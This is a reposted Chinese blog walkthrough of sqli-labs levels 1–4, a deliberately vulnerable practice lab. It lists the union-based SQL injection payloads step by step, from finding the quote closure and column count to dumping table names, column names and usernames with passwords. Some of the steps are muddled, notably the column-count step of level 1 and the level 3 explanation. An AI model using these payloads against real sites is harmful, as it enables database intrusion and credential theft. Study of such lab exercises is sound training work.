博客
关于我
sqli-lab闯关1—4
阅读量:690 次
发布时间:2019-03-17

本文共 1256 字,大约阅读时间需要 4 分钟。

《数据库注入实战》

第一关:单引号注入

第一步:判断闭合符号

输入单引号 ',检查报错信息。报错表明输入内容被放入一对单引号中。记住,这里报错是为了确认注入类型。

第二步:判断列数

输入 ?id=1' order by 1 -- 发现报错,尝试改为 ?id=2, ?id=3 等,直到报错为止。例如,到 ?id=4 报错,说明可用列数为4。

第三步:联合注入爆数据库名

尝试 ?id=0' union select 1,2,database() --,发现可以提取数据库名称。

第四步:爆数据表

使用 ?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --Get all tables in the database.

第五步:爆字段

利用 ?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --Get all columns of the users table.

第六步:爆值

尝试 ?id=0' union select 1,2,group_concat(username,0x3a,password) from users --,这样可以获取用户名和密码。注意,0x3a 表示冒号 :

第二关:数字型注入

第一步:判断闭合符号

输入 ?id=1',发现无需单引号即可完成注入。

第二步:判断列数

与第一关类似,使用 ?id=1 order by 1, ?id=2 等,直到报错确定可用列数。

优化提示:

此关的目标是直接注入数字值,可以省略 SQL 注入的常数处理步骤。

第三关:圆括号注入(模糊点)

第一步:判断闭合符号

输入单引号 发现报错,但随后尝试圆括号 (), 无报错表明此关的注入类型为圆括号。

第二步:判断列数

使用 ?id=1... 一步步测试,发现可用列数为4。

第四关:双引号注入

第一步:判断闭合符号

尝试双引号 ",报错表明注入类型为双引号。

第二步:判断列数

输入 ?id=1" order by 1 等,确定可用列数为4。

第三步:联合注入爆数据库名

尝试 ?id=0" union select 1,2,database() -- 获取数据库名称。

第四步:爆数据表

使用 ?id=0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() 获取所有表名。

总结

通过一步步尝试不同的注入类型和闭合符号,可以有效利用数据库注入技术获取所需信息。每关结尾记得清理SQL会话以避免干扰。

转载地址:http://ppshz.baihongyu.com/

你可能感兴趣的文章
No mapping found for HTTP request with URI [/logout.do] in DispatcherServlet with name 'springmvc'
查看>>
No module named 'crispy_forms'等使用pycharm开发
查看>>
No module named cv2
查看>>
No module named tensorboard.main在安装tensorboardX的时候遇到的问题
查看>>
No module named ‘MySQLdb‘错误解决No module named ‘MySQLdb‘错误解决
查看>>
No new migrations found. Your system is up-to-date.
查看>>
No qualifying bean of type XXX found for dependency XXX.
查看>>
No qualifying bean of type ‘com.netflix.discovery.AbstractDiscoveryClientOptionalArgs<?>‘ available
查看>>
No resource identifier found for attribute 'srcCompat' in package的解决办法
查看>>
no session found for current thread
查看>>
No toolchains found in the NDK toolchains folder for ABI with prefix: mips64el-linux-android
查看>>
NO.23 ZenTaoPHP目录结构
查看>>
no1
查看>>
NO32 网络层次及OSI7层模型--TCP三次握手四次断开--子网划分
查看>>
NOAA(美国海洋和大气管理局)气象数据获取与POI点数据获取
查看>>
NoClassDefFoundError: org/springframework/boot/context/properties/ConfigurationBeanFactoryMetadata
查看>>
node exporter完整版
查看>>
Node JS: < 一> 初识Node JS
查看>>
Node Sass does not yet support your current environment: Windows 64-bit with Unsupported runtime(72)
查看>>
Node 裁切图片的方法
查看>>